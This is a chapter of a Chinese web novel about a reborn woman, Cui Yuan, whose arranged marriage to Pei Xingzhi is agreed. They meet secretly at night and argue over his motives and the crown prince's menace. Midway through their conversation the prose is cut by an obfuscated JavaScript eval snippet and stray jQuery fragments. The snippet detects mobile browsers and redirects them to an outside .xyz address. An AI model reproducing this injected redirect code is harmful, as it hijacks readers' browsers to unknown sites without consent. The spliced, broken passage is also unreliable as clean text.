32. 亥时相见

作品:《夫君登基后我重生了

    裴行知从青纱院出来后并没有立即回前院书房,而是随着思绪飘远,慢慢踱步到了青玉湖。


    青玉湖边的花草树木都被阳光浸润,一片清幽。可裴行知的心却是乱的,他按着梦中的记忆来到崔沅落水的地方,身后有几颗桂花树,阴影投射在他身上,鼻尖沁满桂花香。


    这里已经算是青玉湖边比较偏僻的地方,右手不远处就是院墙。


    梦里的他,因为将落水的崔沅救了上来而娶她,现实中,遇到了差不多的情形,他在凌云书阁为救崔沅却阴差阳错抱着她掉了下去,面临的依旧是娶她。


    当然,只要他不想娶,没有人能逼他,就像先前拒绝与梁家议亲一样。


    可前几日,他又梦见了崔沅,在禁宫之中,寒冬季节,崔沅穿着半新不旧的袄衫跪在雪地之中,不知是跪了多久,她的发丝,眉毛,眼睫之上都覆上一层细雪,嘴唇干涸而惨败,身子不停颤抖,仿佛下一刻就要晕厥,但她背脊挺直,不肯屈服,十分倔强。


    他在一旁站着,像一个旁观者,见着这样的崔沅,他心刺痛,想要上前去将她拥入怀中,可是却从她的身体穿过,根本触碰不到她。


    当他看见,燕行一从远处疾步而来,身后乌泱泱跟着一大群内侍宫女,口中直唤陛下当心时,他脑子轰的一声炸开,浑身麻木地看着燕行一横抱起刚刚晕厥的崔沅。


    梦至此结束,他醒来时脑袋空空,浑身僵硬,片刻后心好像才恢复了跳动。


    太子燕行一登基,这个梦难道是未来?不觉间,手已将床沿紧抓,眸色瞬间暗沉,在黑暗中依旧凌厉骇人。


    所以今日他会应下这门婚事。


    一直快到傍晚时分,林氏才从侯府出来,刚上马车,她才发觉头有些晕乎乎的。


    当荣安侯夫人把宁姨娘叫来时,她以为还要费一番口舌,没想到宁姨娘一口就应了,荣安侯夫人又说要等荣安侯回来,她也就陪着等。


    荣安侯一回府就被叫了过去,听她们把事情缘由说了一通后,听说宁姨娘与裴行知本人都不反对,当即就点了头,交代荣安侯夫人择吉日上崔家提亲,然后大步流星离开了。


    这一天如此顺利,是林氏没有想到的,所以才觉得晕晕乎乎,有些不真实。


    不过好在没有辜负这一趟,只要崔沅能嫁出去,平息了这场流言,她的玟儿才不会受到牵连。


    当林氏回府将这个消息告诉崔贤后,崔贤喜笑颜开,完全没有了昨日的气盛,吩咐林氏最近将崔沅看得紧些,免得又惹出些乱子来。


    为着这个好消息,林氏还亲自去了青山院一趟。


    崔沅听到这个消息后两眼一抹黑,就差晕过去了,什么叫荣安侯夫人不日就上门提亲?


    林氏还以为她高兴傻了,反正她的消息也带到了,嘱咐了伺候的人几句就走了。


    桑枝连枝也都没能回过神来,昨日章家上门退婚,连枝虽然担心崔沅的名声,可终究也觉得不嫁进章家才是对的,可怎么才过一日,她家姑娘就又许出去了?


    “那日是你跟着姑娘出去的,你必定见过那位裴三公子,为人如何?”连枝悄悄问桑枝。


    桑枝眼睛尖,在东湖时虽然隔得远,可她确实看见了自家姑娘和裴三公子独处,只是眼下不好与连枝说,“裴三公子长得好看,而且他为救姑娘一同摔下楼去,自己满身是伤,反观姑娘却只是脏了衣裳,应当是人品贵重的。”


    连枝听了连连点头,“就是这身份……”


    桑枝先堵住连枝的嘴,“这三公子虽是庶子,舅舅却是定南伯,自己又要科考入仕,算起来身份也不算低了。”


    这些情况连枝一时不知道,听桑枝这么说越发觉得满意,不过她看姑娘怎么满脸愁容?


    崔沅可不是愁吗,重生回来的第一天,她就决定不再重蹈覆辙,但如今这事态明显是在推着她朝前世的路走。


    不过有一点不一样,前世她是主动算计,现在是裴行知主动救她造成的。


    崔家怕她被章家退婚后嫁不出去,拖累了崔玟的婚事,所以才想出这个办法,要将她硬塞进荣安侯府。


    总之不论是章家还是荣安侯府,只要对崔家有助益,崔贤是不挑的。


    现在崔贤肯定吩咐林氏看她看得紧,她想出门去见一见裴行知将这件事情说清楚也不行。


    万般无奈之下,她只能吩咐桑枝从后门出去,到夜来当铺送信。


    结果桑枝回来却告诉她,夜来当铺被查封,门口还驻守着一队官兵。


    崔沅听得心惊,怎么太子出事,还与夜来当铺扯上关系了?那裴行知……


    “他们可瞧见你了?”崔沅问道。


    桑枝摇头,“我只在一边远远地瞧了瞧,并不敢靠近。”


    崔沅这才放心,桑枝又道,“不过我在附近的馄饨铺子看见了那当铺的掌柜的,虽然他乔装改扮了一番,可我还是认出来了。”


    才放下的心又提了起来,眼下这情况可不能与这当铺扯上一点关系。


    “你找他了?”


    桑枝摇头,她知道情势不对,不敢轻举妄动,“但我记着姑娘的吩咐,便将纸条压在馄饨碗下,我看着他拿了才离开的,我穿的衣裳带的帷帽都与上次一样,且他从我坐下就盯了我两眼,他应该知道我的。”


    这丫头果然机灵,日后一定是个好帮手。可崔沅还是有些担心。


    当晚,崔沅将守夜的连枝打发回房里睡觉去了,这空荡的屋内只有她一人,窗牖大开,可见月华落入。


    她不确定桑枝给夜来当铺掌柜送了信后他会不会给裴行知转交,但她还是等一等,不然这漫长的夜也实在睡不着。


    崔沅手撑在桌上,支着脑袋假寐养神,子时的更声响起,与此同时,崔沅还听到了轻微的落地声。


    睁开眼,裴行知正望着她。


    “我以为你不会来了。”


    “亥时相见,过时不候,这就是你要见我的诚意?”月光下,裴行知微微挑眉,一只手伸出,手中的纸条展开,正是她让桑枝送去的纸条。


    这才亥时刚过,而她也在等。


    “你不来,我总要歇下的,难不成你来晚了,还要等我睡醒吗?”


    崔沅朝裴行知走近,轻轻一扯,就将他手里的纸条拿了回来,这上面是她的字迹,烧毁最好。本来以为裴行知会销毁,谁知道他还带来了。


    他们两个之间说话好似不再生疏,但微微有些剑拔弩张的意味,一言不合就能呛起来。


    “你的伤如何了?”毕竟是为她受的伤,不好不问。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812158|156362||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    裴行知双手微展开,“身手敏捷。”


    崔沅心道好一个身手敏捷,“那夜来当铺怎么回事?”


    问完她又觉得自己多管闲事了,裴行知也只是笑而不语地望着她。


    随后他才问,“找我来什么事?”


    “你明知故问。”


    白日里林氏登了荣安侯府的门,崔沅不信他会什么都不知道。


    “既如此,那我先告辞。”撂下这句,裴行知翻窗就要走。


    见此,崔沅立马追到窗边,“等等。”


    裴行知果然停下动作,“说。”


    “你为何不拒了这门婚事?”崔沅问道。


    “父母之命,无法违背。”裴行知轻描淡写。


    “我不信。”裴行知要做一件事或接受一件事,一定有他的理由,不然就是你拿命逼他,他也不过是眨眨眼。


    裴行知当然知道骗不过她,接下来要说的才是重点,“如果不娶你,这东都可就没人敢娶你了。”


    “而且……”裴行知一顿,“不是你说让我娶你吗?”


    “我什么时候……”崔沅张嘴就要反驳,脑中却想起东湖边上,她亲口说出的话,顿时结巴起来,“我……我那只是随口一说。”


    “况且,我才不在乎嫁不嫁人。”崔沅语气轻蔑,一辈子不嫁人,无需伺候公婆,没有烦人找事,甚至还要命的亲戚,说不准命还长些,“我本来也打算离开东都。”


    裴行知有些意外,意外她怎么好似已经看破红尘,可她明明离十七岁都还差几个月,只是离开东都……


    “你离开容易,但也更容易招致祸端。”


    “什么意思?”


    “太子对你好似很特别。”


    一语惊醒梦中人!


    她怎么把燕行一忘记了,如今她人在东都,先前又与章家有婚约在身,他行事总有些顾忌。可章家退了婚,她在崔家,在长宁侯府都成了无用的弃子,这个时候独自回桐城,谁也不敢保证他会不会在半路做什么手脚。


    一想到燕行一此人的偏执扭曲,崔沅就不由打个寒颤,面色煞白,捏紧的手掌心已经捂出了汗。


    裴行知只是想再一次试探,却没想到一句话会引起崔沅这么大的反应,这让他更加怀疑崔沅与太子之间发生过什么,但崔沅一直矢口否认,而他也不是没有查过从上元灯节后崔沅的行踪,并没有任何不妥。


    这种不安感叫他十分不自在,想继续问,但见崔沅这副模样又住了口。


    好在没一会儿崔沅就缓了过来,“那你呢?”她嗓子有些干哑,“你要娶我,是为了什么?”


    “你不是会屈服于任何人,即便是你的父母,但你也不可能是因为倾慕我,所以也不存在为了流言蜚语的伤害而娶我。”


    “那你是为了什么呢?”


    崔沅声音越说越轻,说到最后,好似成了说给自己听,可每一个字都落在裴行知耳里,带着悲戚的意味,叫他觉得崔沅就是一只受了伤奄奄一息的小兽。


    他有些心软,但也只是一瞬,“就当是为了恩情,我欠你一条命,总是怎么还也还不清的。”


    除非,也还给她一条命。


    些许时候,他心内有奇怪的想法,觉得自己欠崔沅的远远不止一条命。